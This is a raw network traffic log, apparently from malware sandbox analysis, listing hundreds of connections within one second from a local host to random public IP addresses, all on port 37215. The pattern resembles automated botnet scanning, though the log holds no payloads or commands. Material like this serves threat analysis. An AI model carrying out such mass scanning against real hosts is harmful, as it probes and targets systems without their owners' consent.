Oct 8, 2024 20:34:59.620975971 CEST	48169	37215	192.168.2.14	197.201.242.239
Oct 8, 2024 20:34:59.620987892 CEST	42658	37215	192.168.2.14	197.148.38.33
Oct 8, 2024 20:34:59.621002913 CEST	48169	37215	192.168.2.14	156.166.210.92
Oct 8, 2024 20:34:59.621004105 CEST	48169	37215	192.168.2.14	156.104.182.0
Oct 8, 2024 20:34:59.621007919 CEST	48169	37215	192.168.2.14	197.199.21.156
Oct 8, 2024 20:34:59.621020079 CEST	48169	37215	192.168.2.14	197.129.79.250
Oct 8, 2024 20:34:59.621026039 CEST	48169	37215	192.168.2.14	156.139.9.104
Oct 8, 2024 20:34:59.621042013 CEST	48169	37215	192.168.2.14	41.176.167.237
Oct 8, 2024 20:34:59.621054888 CEST	48169	37215	192.168.2.14	156.121.57.46
Oct 8, 2024 20:34:59.621054888 CEST	48169	37215	192.168.2.14	156.93.175.180
Oct 8, 2024 20:34:59.621072054 CEST	48169	37215	192.168.2.14	156.21.142.27
Oct 8, 2024 20:34:59.621072054 CEST	48169	37215	192.168.2.14	156.197.43.93
Oct 8, 2024 20:34:59.621081114 CEST	48169	37215	192.168.2.14	197.250.9.131
Oct 8, 2024 20:34:59.621084929 CEST	48169	37215	192.168.2.14	156.145.100.173
Oct 8, 2024 20:34:59.621094942 CEST	48169	37215	192.168.2.14	41.136.51.172
Oct 8, 2024 20:34:59.621103048 CEST	37215	36270	41.197.11.205	192.168.2.14
Oct 8, 2024 20:34:59.621109962 CEST	48169	37215	192.168.2.14	41.249.61.44
Oct 8, 2024 20:34:59.621110916 CEST	48169	37215	192.168.2.14	41.84.246.156
Oct 8, 2024 20:34:59.621113062 CEST	37215	49980	156.174.103.73	192.168.2.14
Oct 8, 2024 20:34:59.621117115 CEST	48169	37215	192.168.2.14	41.140.203.197
Oct 8, 2024 20:34:59.621125937 CEST	37215	35262	156.196.119.180	192.168.2.14
Oct 8, 2024 20:34:59.621135950 CEST	37215	54304	41.56.138.239	192.168.2.14
Oct 8, 2024 20:34:59.621144056 CEST	37215	45938	197.188.135.64	192.168.2.14
Oct 8, 2024 20:34:59.621146917 CEST	49980	37215	192.168.2.14	156.174.103.73
Oct 8, 2024 20:34:59.621146917 CEST	48169	37215	192.168.2.14	41.34.244.225
Oct 8, 2024 20:34:59.621146917 CEST	36270	37215	192.168.2.14	41.197.11.205
Oct 8, 2024 20:34:59.621156931 CEST	35262	37215	192.168.2.14	156.196.119.180
Oct 8, 2024 20:34:59.621170044 CEST	48169	37215	192.168.2.14	156.229.222.233
Oct 8, 2024 20:34:59.621170044 CEST	54304	37215	192.168.2.14	41.56.138.239
Oct 8, 2024 20:34:59.621172905 CEST	37215	36758	41.189.232.28	192.168.2.14
Oct 8, 2024 20:34:59.621180058 CEST	45938	37215	192.168.2.14	197.188.135.64
Oct 8, 2024 20:34:59.621196985 CEST	48169	37215	192.168.2.14	197.213.191.53
Oct 8, 2024 20:34:59.621216059 CEST	36758	37215	192.168.2.14	41.189.232.28
Oct 8, 2024 20:34:59.621226072 CEST	48169	37215	192.168.2.14	197.65.236.16
Oct 8, 2024 20:34:59.621248960 CEST	48169	37215	192.168.2.14	156.70.222.89
Oct 8, 2024 20:34:59.621252060 CEST	48169	37215	192.168.2.14	41.46.134.23
Oct 8, 2024 20:34:59.621252060 CEST	48169	37215	192.168.2.14	197.87.101.91
Oct 8, 2024 20:34:59.621258020 CEST	48169	37215	192.168.2.14	156.72.130.43
Oct 8, 2024 20:34:59.621259928 CEST	48169	37215	192.168.2.14	197.190.76.189
Oct 8, 2024 20:34:59.621279001 CEST	48169	37215	192.168.2.14	41.171.229.61
Oct 8, 2024 20:34:59.621300936 CEST	48169	37215	192.168.2.14	41.124.228.180
Oct 8, 2024 20:34:59.621310949 CEST	48169	37215	192.168.2.14	197.65.137.154
Oct 8, 2024 20:34:59.621311903 CEST	48169	37215	192.168.2.14	197.184.72.111
Oct 8, 2024 20:34:59.621313095 CEST	48169	37215	192.168.2.14	156.164.214.203
Oct 8, 2024 20:34:59.621320963 CEST	48169	37215	192.168.2.14	41.127.199.219
Oct 8, 2024 20:34:59.621355057 CEST	48169	37215	192.168.2.14	197.61.186.240
Oct 8, 2024 20:34:59.621355057 CEST	48169	37215	192.168.2.14	156.205.90.38
Oct 8, 2024 20:34:59.621357918 CEST	48169	37215	192.168.2.14	41.222.37.163
Oct 8, 2024 20:34:59.621357918 CEST	48169	37215	192.168.2.14	41.77.247.252
Oct 8, 2024 20:34:59.621365070 CEST	48169	37215	192.168.2.14	41.161.11.125
Oct 8, 2024 20:34:59.621375084 CEST	48169	37215	192.168.2.14	41.103.52.132
Oct 8, 2024 20:34:59.621386051 CEST	48169	37215	192.168.2.14	156.31.20.0
Oct 8, 2024 20:34:59.621393919 CEST	48169	37215	192.168.2.14	156.30.106.149
Oct 8, 2024 20:34:59.621396065 CEST	48169	37215	192.168.2.14	197.222.9.125
Oct 8, 2024 20:34:59.621413946 CEST	48169	37215	192.168.2.14	197.173.68.64
Oct 8, 2024 20:34:59.621422052 CEST	48169	37215	192.168.2.14	41.212.31.65
Oct 8, 2024 20:34:59.621431112 CEST	48169	37215	192.168.2.14	197.105.14.167
Oct 8, 2024 20:34:59.621440887 CEST	48169	37215	192.168.2.14	156.19.241.65
Oct 8, 2024 20:34:59.621465921 CEST	48169	37215	192.168.2.14	197.48.119.210
Oct 8, 2024 20:34:59.621469021 CEST	48169	37215	192.168.2.14	197.76.192.197
Oct 8, 2024 20:34:59.621470928 CEST	48169	37215	192.168.2.14	156.52.225.57
Oct 8, 2024 20:34:59.621484041 CEST	48169	37215	192.168.2.14	156.252.111.65
Oct 8, 2024 20:34:59.621507883 CEST	48169	37215	192.168.2.14	156.10.213.239
Oct 8, 2024 20:34:59.621509075 CEST	48169	37215	192.168.2.14	156.241.41.208
Oct 8, 2024 20:34:59.621520996 CEST	48169	37215	192.168.2.14	41.5.238.23
Oct 8, 2024 20:34:59.621520996 CEST	48169	37215	192.168.2.14	156.39.197.93
Oct 8, 2024 20:34:59.621532917 CEST	48169	37215	192.168.2.14	197.4.87.93
Oct 8, 2024 20:34:59.621542931 CEST	48169	37215	192.168.2.14	41.207.54.197
Oct 8, 2024 20:34:59.621542931 CEST	48169	37215	192.168.2.14	156.252.230.30
Oct 8, 2024 20:34:59.621562958 CEST	48169	37215	192.168.2.14	156.81.126.214
Oct 8, 2024 20:34:59.621565104 CEST	48169	37215	192.168.2.14	156.150.162.186
Oct 8, 2024 20:34:59.621565104 CEST	48169	37215	192.168.2.14	197.192.51.230
Oct 8, 2024 20:34:59.621587038 CEST	48169	37215	192.168.2.14	197.86.150.107
Oct 8, 2024 20:34:59.621603966 CEST	48169	37215	192.168.2.14	197.186.141.210
Oct 8, 2024 20:34:59.621603966 CEST	48169	37215	192.168.2.14	41.209.154.184
Oct 8, 2024 20:34:59.621614933 CEST	48169	37215	192.168.2.14	41.133.130.129
Oct 8, 2024 20:34:59.621623993 CEST	48169	37215	192.168.2.14	197.47.124.176
Oct 8, 2024 20:34:59.621629000 CEST	48169	37215	192.168.2.14	197.124.208.242
Oct 8, 2024 20:34:59.621644020 CEST	48169	37215	192.168.2.14	197.195.50.108
Oct 8, 2024 20:34:59.621658087 CEST	48169	37215	192.168.2.14	41.144.39.170
Oct 8, 2024 20:34:59.621665001 CEST	48169	37215	192.168.2.14	41.176.55.249
Oct 8, 2024 20:34:59.621675968 CEST	48169	37215	192.168.2.14	197.177.181.176
Oct 8, 2024 20:34:59.621686935 CEST	48169	37215	192.168.2.14	156.54.213.193
Oct 8, 2024 20:34:59.621690989 CEST	48169	37215	192.168.2.14	156.80.54.22
Oct 8, 2024 20:34:59.621697903 CEST	48169	37215	192.168.2.14	197.168.137.20
Oct 8, 2024 20:34:59.621702909 CEST	48169	37215	192.168.2.14	197.150.161.2
Oct 8, 2024 20:34:59.621717930 CEST	48169	37215	192.168.2.14	41.223.54.209
Oct 8, 2024 20:34:59.621730089 CEST	48169	37215	192.168.2.14	156.168.67.214
Oct 8, 2024 20:34:59.621736050 CEST	48169	37215	192.168.2.14	156.47.12.25
Oct 8, 2024 20:34:59.621745110 CEST	48169	37215	192.168.2.14	156.168.69.228
Oct 8, 2024 20:34:59.621748924 CEST	48169	37215	192.168.2.14	41.164.51.210
Oct 8, 2024 20:34:59.621762037 CEST	48169	37215	192.168.2.14	197.79.59.28
Oct 8, 2024 20:34:59.621773958 CEST	48169	37215	192.168.2.14	197.62.92.167
Oct 8, 2024 20:34:59.621783972 CEST	48169	37215	192.168.2.14	156.89.205.100
Oct 8, 2024 20:34:59.621793032 CEST	48169	37215	192.168.2.14	41.239.206.233
Oct 8, 2024 20:34:59.621803045 CEST	48169	37215	192.168.2.14	197.89.3.244
Oct 8, 2024 20:34:59.621814966 CEST	48169	37215	192.168.2.14	156.25.209.181
Oct 8, 2024 20:34:59.621819019 CEST	48169	37215	192.168.2.14	41.146.14.191
Oct 8, 2024 20:34:59.621834993 CEST	48169	37215	192.168.2.14	41.132.94.121
Oct 8, 2024 20:34:59.621841908 CEST	48169	37215	192.168.2.14	156.48.186.144
Oct 8, 2024 20:34:59.621850014 CEST	48169	37215	192.168.2.14	41.239.142.234
Oct 8, 2024 20:34:59.621865034 CEST	48169	37215	192.168.2.14	197.98.185.238
Oct 8, 2024 20:34:59.621865034 CEST	48169	37215	192.168.2.14	197.138.161.113
Oct 8, 2024 20:34:59.621876955 CEST	48169	37215	192.168.2.14	197.254.122.103
Oct 8, 2024 20:34:59.621891022 CEST	48169	37215	192.168.2.14	41.228.159.73
Oct 8, 2024 20:34:59.621892929 CEST	48169	37215	192.168.2.14	41.248.135.143
Oct 8, 2024 20:34:59.621905088 CEST	48169	37215	192.168.2.14	156.182.86.78
Oct 8, 2024 20:34:59.621905088 CEST	48169	37215	192.168.2.14	156.254.80.106
Oct 8, 2024 20:34:59.621911049 CEST	48169	37215	192.168.2.14	156.222.30.129
Oct 8, 2024 20:34:59.621911049 CEST	48169	37215	192.168.2.14	156.94.153.89
Oct 8, 2024 20:34:59.621912003 CEST	48169	37215	192.168.2.14	197.57.99.201
Oct 8, 2024 20:34:59.621922970 CEST	48169	37215	192.168.2.14	41.156.86.140
Oct 8, 2024 20:34:59.621927023 CEST	48169	37215	192.168.2.14	41.174.139.19
Oct 8, 2024 20:34:59.621946096 CEST	48169	37215	192.168.2.14	156.249.7.98
Oct 8, 2024 20:34:59.621968985 CEST	48169	37215	192.168.2.14	197.137.5.54
Oct 8, 2024 20:34:59.621972084 CEST	48169	37215	192.168.2.14	156.201.74.209
Oct 8, 2024 20:34:59.621973038 CEST	48169	37215	192.168.2.14	156.98.218.45
Oct 8, 2024 20:34:59.621977091 CEST	48169	37215	192.168.2.14	156.140.170.125
Oct 8, 2024 20:34:59.621982098 CEST	48169	37215	192.168.2.14	197.165.3.200
Oct 8, 2024 20:34:59.621993065 CEST	48169	37215	192.168.2.14	156.248.108.163
Oct 8, 2024 20:34:59.621999979 CEST	48169	37215	192.168.2.14	197.0.58.156
Oct 8, 2024 20:34:59.622013092 CEST	48169	37215	192.168.2.14	197.232.135.191
Oct 8, 2024 20:34:59.622015953 CEST	48169	37215	192.168.2.14	41.88.228.142
Oct 8, 2024 20:34:59.622040033 CEST	48169	37215	192.168.2.14	156.183.22.32
Oct 8, 2024 20:34:59.622040987 CEST	48169	37215	192.168.2.14	41.93.143.235
Oct 8, 2024 20:34:59.622049093 CEST	48169	37215	192.168.2.14	41.235.238.82
Oct 8, 2024 20:34:59.622061014 CEST	48169	37215	192.168.2.14	41.93.108.157
Oct 8, 2024 20:34:59.622077942 CEST	48169	37215	192.168.2.14	156.145.101.8
Oct 8, 2024 20:34:59.622086048 CEST	48169	37215	192.168.2.14	197.189.25.122
Oct 8, 2024 20:34:59.622095108 CEST	48169	37215	192.168.2.14	197.29.124.69
Oct 8, 2024 20:34:59.622104883 CEST	48169	37215	192.168.2.14	197.103.65.106
Oct 8, 2024 20:34:59.622112036 CEST	48169	37215	192.168.2.14	197.228.223.245
Oct 8, 2024 20:34:59.622116089 CEST	48169	37215	192.168.2.14	197.151.139.84
Oct 8, 2024 20:34:59.622133017 CEST	48169	37215	192.168.2.14	41.69.116.219
Oct 8, 2024 20:34:59.622143030 CEST	48169	37215	192.168.2.14	156.5.21.249
Oct 8, 2024 20:34:59.622143030 CEST	48169	37215	192.168.2.14	156.190.49.237
Oct 8, 2024 20:34:59.622143030 CEST	48169	37215	192.168.2.14	156.197.24.153
Oct 8, 2024 20:34:59.622158051 CEST	48169	37215	192.168.2.14	197.220.49.218
Oct 8, 2024 20:34:59.622165918 CEST	48169	37215	192.168.2.14	197.147.116.29
Oct 8, 2024 20:34:59.622173071 CEST	48169	37215	192.168.2.14	197.193.240.13
Oct 8, 2024 20:34:59.622191906 CEST	48169	37215	192.168.2.14	197.38.176.7
Oct 8, 2024 20:34:59.622199059 CEST	48169	37215	192.168.2.14	197.177.142.5
Oct 8, 2024 20:34:59.622205019 CEST	48169	37215	192.168.2.14	41.167.6.51
Oct 8, 2024 20:34:59.622210979 CEST	48169	37215	192.168.2.14	156.237.88.149
Oct 8, 2024 20:34:59.622236967 CEST	48169	37215	192.168.2.14	41.161.5.13
Oct 8, 2024 20:34:59.622240067 CEST	48169	37215	192.168.2.14	156.105.159.0
Oct 8, 2024 20:34:59.622246981 CEST	48169	37215	192.168.2.14	41.234.187.230
Oct 8, 2024 20:34:59.622252941 CEST	48169	37215	192.168.2.14	197.232.56.77
Oct 8, 2024 20:34:59.622258902 CEST	48169	37215	192.168.2.14	156.8.207.205
Oct 8, 2024 20:34:59.622271061 CEST	48169	37215	192.168.2.14	197.9.15.127
Oct 8, 2024 20:34:59.622277021 CEST	48169	37215	192.168.2.14	156.193.103.25
Oct 8, 2024 20:34:59.622287035 CEST	48169	37215	192.168.2.14	41.101.57.22
Oct 8, 2024 20:34:59.622309923 CEST	48169	37215	192.168.2.14	156.185.157.171
Oct 8, 2024 20:34:59.622309923 CEST	48169	37215	192.168.2.14	41.29.99.201
Oct 8, 2024 20:34:59.622313976 CEST	48169	37215	192.168.2.14	156.65.59.123
Oct 8, 2024 20:34:59.622318983 CEST	48169	37215	192.168.2.14	41.77.138.76
Oct 8, 2024 20:34:59.622337103 CEST	48169	37215	192.168.2.14	41.48.152.167
Oct 8, 2024 20:34:59.622345924 CEST	48169	37215	192.168.2.14	41.225.163.245
Oct 8, 2024 20:34:59.622351885 CEST	48169	37215	192.168.2.14	197.174.1.177
Oct 8, 2024 20:34:59.622365952 CEST	48169	37215	192.168.2.14	197.210.57.142
Oct 8, 2024 20:34:59.622370005 CEST	48169	37215	192.168.2.14	156.164.106.85
Oct 8, 2024 20:34:59.622385979 CEST	48169	37215	192.168.2.14	156.94.198.30
Oct 8, 2024 20:34:59.622391939 CEST	48169	37215	192.168.2.14	197.118.214.20
Oct 8, 2024 20:34:59.622396946 CEST	48169	37215	192.168.2.14	156.82.254.39
Oct 8, 2024 20:34:59.622411966 CEST	48169	37215	192.168.2.14	197.26.190.94
Oct 8, 2024 20:34:59.622414112 CEST	48169	37215	192.168.2.14	156.1.187.85
Oct 8, 2024 20:34:59.622430086 CEST	48169	37215	192.168.2.14	197.12.217.157
Oct 8, 2024 20:34:59.622443914 CEST	48169	37215	192.168.2.14	41.140.82.35
Oct 8, 2024 20:34:59.622446060 CEST	48169	37215	192.168.2.14	156.84.108.160
Oct 8, 2024 20:34:59.622459888 CEST	48169	37215	192.168.2.14	156.221.105.113
Oct 8, 2024 20:34:59.622473955 CEST	48169	37215	192.168.2.14	41.71.250.118
Oct 8, 2024 20:34:59.622473955 CEST	48169	37215	192.168.2.14	41.187.107.102
Oct 8, 2024 20:34:59.622476101 CEST	48169	37215	192.168.2.14	197.172.98.231
Oct 8, 2024 20:34:59.622489929 CEST	48169	37215	192.168.2.14	41.44.88.101
Oct 8, 2024 20:34:59.622500896 CEST	48169	37215	192.168.2.14	156.217.21.173
Oct 8, 2024 20:34:59.622503996 CEST	48169	37215	192.168.2.14	41.107.253.231
Oct 8, 2024 20:34:59.622520924 CEST	48169	37215	192.168.2.14	156.195.106.230
Oct 8, 2024 20:34:59.622524023 CEST	48169	37215	192.168.2.14	41.187.16.177
Oct 8, 2024 20:34:59.622540951 CEST	48169	37215	192.168.2.14	156.132.19.18
Oct 8, 2024 20:34:59.622545958 CEST	48169	37215	192.168.2.14	156.247.33.70
Oct 8, 2024 20:34:59.622555971 CEST	48169	37215	192.168.2.14	41.28.238.36
Oct 8, 2024 20:34:59.622561932 CEST	48169	37215	192.168.2.14	156.104.75.102
Oct 8, 2024 20:34:59.622586966 CEST	48169	37215	192.168.2.14	156.43.21.120
Oct 8, 2024 20:34:59.622587919 CEST	48169	37215	192.168.2.14	156.12.91.3
Oct 8, 2024 20:34:59.622594118 CEST	48169	37215	192.168.2.14	156.129.12.212
Oct 8, 2024 20:34:59.622605085 CEST	48169	37215	192.168.2.14	197.22.17.120
Oct 8, 2024 20:34:59.622606993 CEST	48169	37215	192.168.2.14	41.222.135.129
Oct 8, 2024 20:34:59.622610092 CEST	48169	37215	192.168.2.14	197.6.63.20
Oct 8, 2024 20:34:59.622621059 CEST	48169	37215	192.168.2.14	156.164.143.210
Oct 8, 2024 20:34:59.622627974 CEST	48169	37215	192.168.2.14	197.167.111.177
Oct 8, 2024 20:34:59.622637033 CEST	48169	37215	192.168.2.14	197.74.190.83
Oct 8, 2024 20:34:59.622652054 CEST	48169	37215	192.168.2.14	197.45.252.139
Oct 8, 2024 20:34:59.622652054 CEST	48169	37215	192.168.2.14	197.54.50.19
Oct 8, 2024 20:34:59.622670889 CEST	48169	37215	192.168.2.14	197.150.123.196
Oct 8, 2024 20:34:59.622680902 CEST	48169	37215	192.168.2.14	197.241.248.49
Oct 8, 2024 20:34:59.622680902 CEST	48169	37215	192.168.2.14	41.62.136.72
Oct 8, 2024 20:34:59.622689009 CEST	48169	37215	192.168.2.14	156.161.93.42
Oct 8, 2024 20:34:59.622706890 CEST	48169	37215	192.168.2.14	197.43.139.209
Oct 8, 2024 20:34:59.622719049 CEST	48169	37215	192.168.2.14	197.127.38.244
Oct 8, 2024 20:34:59.622719049 CEST	48169	37215	192.168.2.14	156.37.10.214
Oct 8, 2024 20:34:59.622720003 CEST	48169	37215	192.168.2.14	156.187.12.196
Oct 8, 2024 20:34:59.622736931 CEST	48169	37215	192.168.2.14	197.26.111.14
Oct 8, 2024 20:34:59.622754097 CEST	48169	37215	192.168.2.14	156.143.117.232
Oct 8, 2024 20:34:59.622754097 CEST	48169	37215	192.168.2.14	197.159.206.239
Oct 8, 2024 20:34:59.622761011 CEST	48169	37215	192.168.2.14	197.55.146.248
Oct 8, 2024 20:34:59.622773886 CEST	48169	37215	192.168.2.14	197.136.70.44
Oct 8, 2024 20:34:59.622776985 CEST	48169	37215	192.168.2.14	197.117.175.1
Oct 8, 2024 20:34:59.622792006 CEST	48169	37215	192.168.2.14	197.161.207.199
Oct 8, 2024 20:34:59.622809887 CEST	48169	37215	192.168.2.14	197.22.188.130
Oct 8, 2024 20:34:59.622814894 CEST	48169	37215	192.168.2.14	41.174.165.108
Oct 8, 2024 20:34:59.622819901 CEST	48169	37215	192.168.2.14	197.128.98.222
Oct 8, 2024 20:34:59.622836113 CEST	48169	37215	192.168.2.14	156.148.45.171
Oct 8, 2024 20:34:59.622843981 CEST	48169	37215	192.168.2.14	156.29.61.156
Oct 8, 2024 20:34:59.622848034 CEST	48169	37215	192.168.2.14	197.15.252.101
Oct 8, 2024 20:34:59.622853041 CEST	48169	37215	192.168.2.14	156.39.239.200
Oct 8, 2024 20:34:59.622881889 CEST	48169	37215	192.168.2.14	41.190.182.25
Oct 8, 2024 20:34:59.622900009 CEST	48169	37215	192.168.2.14	197.183.82.15
Oct 8, 2024 20:34:59.622903109 CEST	48169	37215	192.168.2.14	156.221.27.184
Oct 8, 2024 20:34:59.622903109 CEST	48169	37215	192.168.2.14	197.182.6.219
Oct 8, 2024 20:34:59.622904062 CEST	48169	37215	192.168.2.14	197.246.12.223
Oct 8, 2024 20:34:59.622920036 CEST	48169	37215	192.168.2.14	156.245.221.8
Oct 8, 2024 20:34:59.622936964 CEST	48169	37215	192.168.2.14	41.235.236.168
Oct 8, 2024 20:34:59.622941017 CEST	48169	37215	192.168.2.14	41.8.200.20
Oct 8, 2024 20:34:59.622941017 CEST	48169	37215	192.168.2.14	41.93.73.149
Oct 8, 2024 20:34:59.622957945 CEST	48169	37215	192.168.2.14	156.85.202.252
Oct 8, 2024 20:34:59.622957945 CEST	48169	37215	192.168.2.14	41.11.71.197
Oct 8, 2024 20:34:59.622961044 CEST	48169	37215	192.168.2.14	41.237.152.251
Oct 8, 2024 20:34:59.622975111 CEST	48169	37215	192.168.2.14	41.207.54.4
Oct 8, 2024 20:34:59.622982025 CEST	48169	37215	192.168.2.14	41.123.209.4
Oct 8, 2024 20:34:59.622994900 CEST	48169	37215	192.168.2.14	156.10.63.138
Oct 8, 2024 20:34:59.622997999 CEST	48169	37215	192.168.2.14	156.221.2.204
Oct 8, 2024 20:34:59.623011112 CEST	48169	37215	192.168.2.14	41.124.204.108
Oct 8, 2024 20:34:59.623013973 CEST	48169	37215	192.168.2.14	41.42.27.148
Oct 8, 2024 20:34:59.623034000 CEST	48169	37215	192.168.2.14	197.63.49.25
Oct 8, 2024 20:34:59.623034000 CEST	48169	37215	192.168.2.14	197.145.255.190
Oct 8, 2024 20:34:59.623050928 CEST	48169	37215	192.168.2.14	156.12.11.66
Oct 8, 2024 20:34:59.623558998 CEST	35262	37215	192.168.2.14	156.196.119.180
Oct 8, 2024 20:34:59.623567104 CEST	45938	37215	192.168.2.14	197.188.135.64
Oct 8, 2024 20:34:59.623575926 CEST	42658	37215	192.168.2.14	197.148.38.33
Oct 8, 2024 20:34:59.623608112 CEST	36872	37215	192.168.2.14	41.135.155.163
Oct 8, 2024 20:34:59.623608112 CEST	36872	37215	192.168.2.14	41.135.155.163
Oct 8, 2024 20:34:59.624138117 CEST	36914	37215	192.168.2.14	41.135.155.163
Oct 8, 2024 20:34:59.624552965 CEST	47934	37215	192.168.2.14	197.99.192.124
Oct 8, 2024 20:34:59.624609947 CEST	51014	37215	192.168.2.14	41.125.67.250
Oct 8, 2024 20:34:59.624609947 CEST	51014	37215	192.168.2.14	41.125.67.250
Oct 8, 2024 20:34:59.624991894 CEST	51086	37215	192.168.2.14	41.125.67.250
Oct 8, 2024 20:34:59.625240088 CEST	37215	48169	41.74.171.135	192.168.2.14
Oct 8, 2024 20:34:59.625293970 CEST	48169	37215	192.168.2.14	41.74.171.135
Oct 8, 2024 20:34:59.625473976 CEST	54304	37215	192.168.2.14	41.56.138.239
Oct 8, 2024 20:34:59.625473976 CEST	54304	37215	192.168.2.14	41.56.138.239
Oct 8, 2024 20:34:59.625612974 CEST	37215	48169	197.234.147.243	192.168.2.14
Oct 8, 2024 20:34:59.625623941 CEST	37215	48169	197.234.121.237	192.168.2.14
Oct 8, 2024 20:34:59.625633001 CEST	37215	48169	156.184.10.160	192.168.2.14
Oct 8, 2024 20:34:59.625642061 CEST	37215	48169	41.87.89.221	192.168.2.14
Oct 8, 2024 20:34:59.625652075 CEST	37215	48169	41.6.80.20	192.168.2.14
Oct 8, 2024 20:34:59.625685930 CEST	48169	37215	192.168.2.14	197.234.121.237
Oct 8, 2024 20:34:59.625689983 CEST	48169	37215	192.168.2.14	197.234.147.243
Oct 8, 2024 20:34:59.625689983 CEST	48169	37215	192.168.2.14	41.87.89.221
Oct 8, 2024 20:34:59.625689983 CEST	48169	37215	192.168.2.14	41.6.80.20
Oct 8, 2024 20:34:59.625691891 CEST	48169	37215	192.168.2.14	156.184.10.160
Oct 8, 2024 20:34:59.625695944 CEST	37215	48169	197.201.120.93	192.168.2.14
Oct 8, 2024 20:34:59.625708103 CEST	37215	48169	156.160.61.36	192.168.2.14
Oct 8, 2024 20:34:59.625711918 CEST	37215	48169	197.120.199.20	192.168.2.14
Oct 8, 2024 20:34:59.625718117 CEST	37215	48169	41.22.29.207	192.168.2.14
Oct 8, 2024 20:34:59.625721931 CEST	37215	48169	41.147.36.112	192.168.2.14
Oct 8, 2024 20:34:59.625729084 CEST	37215	48169	197.176.73.228	192.168.2.14
Oct 8, 2024 20:34:59.625750065 CEST	48169	37215	192.168.2.14	41.22.29.207
Oct 8, 2024 20:34:59.625756979 CEST	48169	37215	192.168.2.14	197.176.73.228
Oct 8, 2024 20:34:59.625756979 CEST	48169	37215	192.168.2.14	197.120.199.20
Oct 8, 2024 20:34:59.625772953 CEST	48169	37215	192.168.2.14	197.201.120.93
Oct 8, 2024 20:34:59.625772953 CEST	48169	37215	192.168.2.14	156.160.61.36
Oct 8, 2024 20:34:59.625787020 CEST	48169	37215	192.168.2.14	41.147.36.112
Oct 8, 2024 20:34:59.625833035 CEST	54376	37215	192.168.2.14	41.56.138.239
Oct 8, 2024 20:34:59.626368999 CEST	49980	37215	192.168.2.14	156.174.103.73
Oct 8, 2024 20:34:59.626388073 CEST	49980	37215	192.168.2.14	156.174.103.73
Oct 8, 2024 20:34:59.626687050 CEST	50052	37215	192.168.2.14	156.174.103.73
Oct 8, 2024 20:34:59.627087116 CEST	47356	37215	192.168.2.14	156.176.7.254
Oct 8, 2024 20:34:59.627099991 CEST	47356	37215	192.168.2.14	156.176.7.254
Oct 8, 2024 20:34:59.627418995 CEST	47428	37215	192.168.2.14	156.176.7.254
Oct 8, 2024 20:34:59.627907038 CEST	34370	37215	192.168.2.14	197.177.162.81
Oct 8, 2024 20:34:59.627907038 CEST	34370	37215	192.168.2.14	197.177.162.81
Oct 8, 2024 20:34:59.628221989 CEST	34442	37215	192.168.2.14	197.177.162.81
Oct 8, 2024 20:34:59.628581047 CEST	37215	36872	41.135.155.163	192.168.2.14
Oct 8, 2024 20:34:59.628592968 CEST	54198	37215	192.168.2.14	197.204.33.127
Oct 8, 2024 20:34:59.628592968 CEST	54198	37215	192.168.2.14	197.204.33.127
Oct 8, 2024 20:34:59.628884077 CEST	37215	35262	156.196.119.180	192.168.2.14
Oct 8, 2024 20:34:59.628926039 CEST	35262	37215	192.168.2.14	156.196.119.180
Oct 8, 2024 20:34:59.628937960 CEST	54270	37215	192.168.2.14	197.204.33.127
Oct 8, 2024 20:34:59.628952026 CEST	37215	45938	197.188.135.64	192.168.2.14
Oct 8, 2024 20:34:59.628987074 CEST	45938	37215	192.168.2.14	197.188.135.64
Oct 8, 2024 20:34:59.629127979 CEST	37215	36914	41.135.155.163	192.168.2.14
Oct 8, 2024 20:34:59.629168987 CEST	36914	37215	192.168.2.14	41.135.155.163
Oct 8, 2024 20:34:59.629292965 CEST	37215	42658	197.148.38.33	192.168.2.14
Oct 8, 2024 20:34:59.629331112 CEST	42658	37215	192.168.2.14	197.148.38.33
Oct 8, 2024 20:34:59.629379988 CEST	50910	37215	192.168.2.14	197.179.205.141
Oct 8, 2024 20:34:59.629379988 CEST	50910	37215	192.168.2.14	197.179.205.141
Oct 8, 2024 20:34:59.629678965 CEST	50982	37215	192.168.2.14	197.179.205.141
Oct 8, 2024 20:34:59.629827976 CEST	37215	47934	197.99.192.124	192.168.2.14
Oct 8, 2024 20:34:59.629838943 CEST	37215	51014	41.125.67.250	192.168.2.14
Oct 8, 2024 20:34:59.629870892 CEST	47934	37215	192.168.2.14	197.99.192.124
Oct 8, 2024 20:34:59.630101919 CEST	43544	37215	192.168.2.14	197.220.219.212
Oct 8, 2024 20:34:59.630101919 CEST	43544	37215	192.168.2.14	197.220.219.212
Oct 8, 2024 20:34:59.630408049 CEST	43616	37215	192.168.2.14	197.220.219.212
Oct 8, 2024 20:34:59.630434036 CEST	37215	54304	41.56.138.239	192.168.2.14
Oct 8, 2024 20:34:59.630795002 CEST	37114	37215	192.168.2.14	197.30.59.26
Oct 8, 2024 20:34:59.630806923 CEST	37114	37215	192.168.2.14	197.30.59.26
Oct 8, 2024 20:34:59.631149054 CEST	37186	37215	192.168.2.14	197.30.59.26
Oct 8, 2024 20:34:59.631540060 CEST	37215	49980	156.174.103.73	192.168.2.14
Oct 8, 2024 20:34:59.631597996 CEST	36758	37215	192.168.2.14	41.189.232.28
Oct 8, 2024 20:34:59.631597996 CEST	36758	37215	192.168.2.14	41.189.232.28
Oct 8, 2024 20:34:59.631891012 CEST	36830	37215	192.168.2.14	41.189.232.28
Oct 8, 2024 20:34:59.632105112 CEST	37215	47356	156.176.7.254	192.168.2.14
Oct 8, 2024 20:34:59.632286072 CEST	59304	37215	192.168.2.14	41.67.50.187
Oct 8, 2024 20:34:59.632286072 CEST	59304	37215	192.168.2.14	41.67.50.187
Oct 8, 2024 20:34:59.632605076 CEST	59374	37215	192.168.2.14	41.67.50.187
Oct 8, 2024 20:34:59.633018017 CEST	36270	37215	192.168.2.14	41.197.11.205
Oct 8, 2024 20:34:59.633018017 CEST	36270	37215	192.168.2.14	41.197.11.205
Oct 8, 2024 20:34:59.633117914 CEST	37215	34370	197.177.162.81	192.168.2.14
Oct 8, 2024 20:34:59.633378983 CEST	36340	37215	192.168.2.14	41.197.11.205
Oct 8, 2024 20:34:59.633754969 CEST	37215	54198	197.204.33.127	192.168.2.14
Oct 8, 2024 20:34:59.633812904 CEST	54066	37215	192.168.2.14	197.236.253.41
Oct 8, 2024 20:34:59.633812904 CEST	54066	37215	192.168.2.14	197.236.253.41
Oct 8, 2024 20:34:59.634120941 CEST	54136	37215	192.168.2.14	197.236.253.41
Oct 8, 2024 20:34:59.634414911 CEST	37215	50910	197.179.205.141	192.168.2.14
Oct 8, 2024 20:34:59.634835958 CEST	33836	37215	192.168.2.14	41.74.171.135
Oct 8, 2024 20:34:59.635035038 CEST	37215	43544	197.220.219.212	192.168.2.14
